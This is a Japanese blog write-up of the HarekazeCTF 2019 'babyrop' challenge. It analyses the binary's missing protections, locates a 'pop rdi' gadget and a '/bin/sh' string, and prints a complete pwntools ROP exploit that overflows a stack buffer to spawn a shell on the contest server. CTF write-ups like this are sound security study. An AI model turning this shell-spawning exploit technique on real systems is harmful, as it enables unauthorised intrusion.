madousho

とあるハッキングの魔導書

HarekazeCTF 2019「babyrop (100pts)」之解き方

はじめに

5月18日、 #HarekazeCTF に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。

babyrop

プログラム解析

ncatで接続可能なアドレスとポート番号に、ELFバイナリを手に入れます。

まず、checksecを使い、ELFのセキュリティ機構を確認します。

f:id:d3npa:20190520015415p:plain

RELRO、スタックカナーリやPIEが無く、すっごく助かります (^^;
これらのセキュリティ機構について、詳しくはこちらの記事をご参照ください

次にradare2で開き、main関数の逆アセンブリを解析しましょう。

f:id:d3npa:20190520015432p:plain

結構簡単なプログラムですが、動作を言葉で説明すると、下記のような感じでしょうね

  1. echoシェルコマンドの文字列をrdiに用意、systemを呼び出すのでメッセージを出力する
  2. scanfを使い、任意なサイズの入力をスタック変数(rbp-0x10)に読み込む
  3. フォーマット形式と、rbp-0x10(前の入力)をレジスタで指定、printfで入力を含めたメッセージを表示する

この問題の名前が「babyrop」なので、そしてスタックカナーリがないため、ROPが使うべきだとわかりますね。

それでは、ROPを使うのでsystem("/bin/sh");を実行することを目的としましょう。

シェル奪いの作戦

systemを呼び出せば、引数を正しく用意しないといけません。mainの逆アセンブリを参考とし、systemを呼び出した前に、シェルコマンド文字列へのポインターediで指定したことがわかりますね。ちなみにediですが、この場合に一緒なので、rdiを使ってもOK。

したがって、ediあるいはrdiに値を指定するいわゆる「ROP Gadget」が必要となります。良かったことで、radare2にはそういうガジェットを発見するという機能がありますので、pop rdiのガジェットを探してもらいましょう。

f:id:d3npa:20190520015449p:plain

さすがradare2ですね!よって0x00400683には、pop rdi; retという命令が存在することがわかりました。

また、ポインターで指定できる"/bin/sh"の文字列を検索しましょうか。

f:id:d3npa:20190520015501p:plain

よし。0x601048には、"/bin/sh"という文字列が置いてあるようです。これで、「ROP Chain」の準備がやっとできました!

エクスプロイト作成

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep

pop_rdi = p64(0x400683)
addr_binsh = p64(0x601048)
call_system = p64(0x4005e3)


payload = "a" * 0x10    # バッファーを超える
payload += "b" * 8      # RBP
payload += pop_rdi      # ガジェットに移動する
payload += addr_binsh   # rdiにpopされる
payload += call_system  # 関数の呼び出しに移動する

# sock = process(["./babyrop"])
sock = remote("problem.harekaze.com", 20001)
sock.readuntil("? ")
sock.sendline(payload)

sleep(1)
sock.interactive()
sock.close()

シェルを奪い!

f:id:d3npa:20190520015515p:plain

以上 HarekazeCTF-2019の「babyrop」のライトアップでした。

最後まで読んで頂き、ありがとうございました!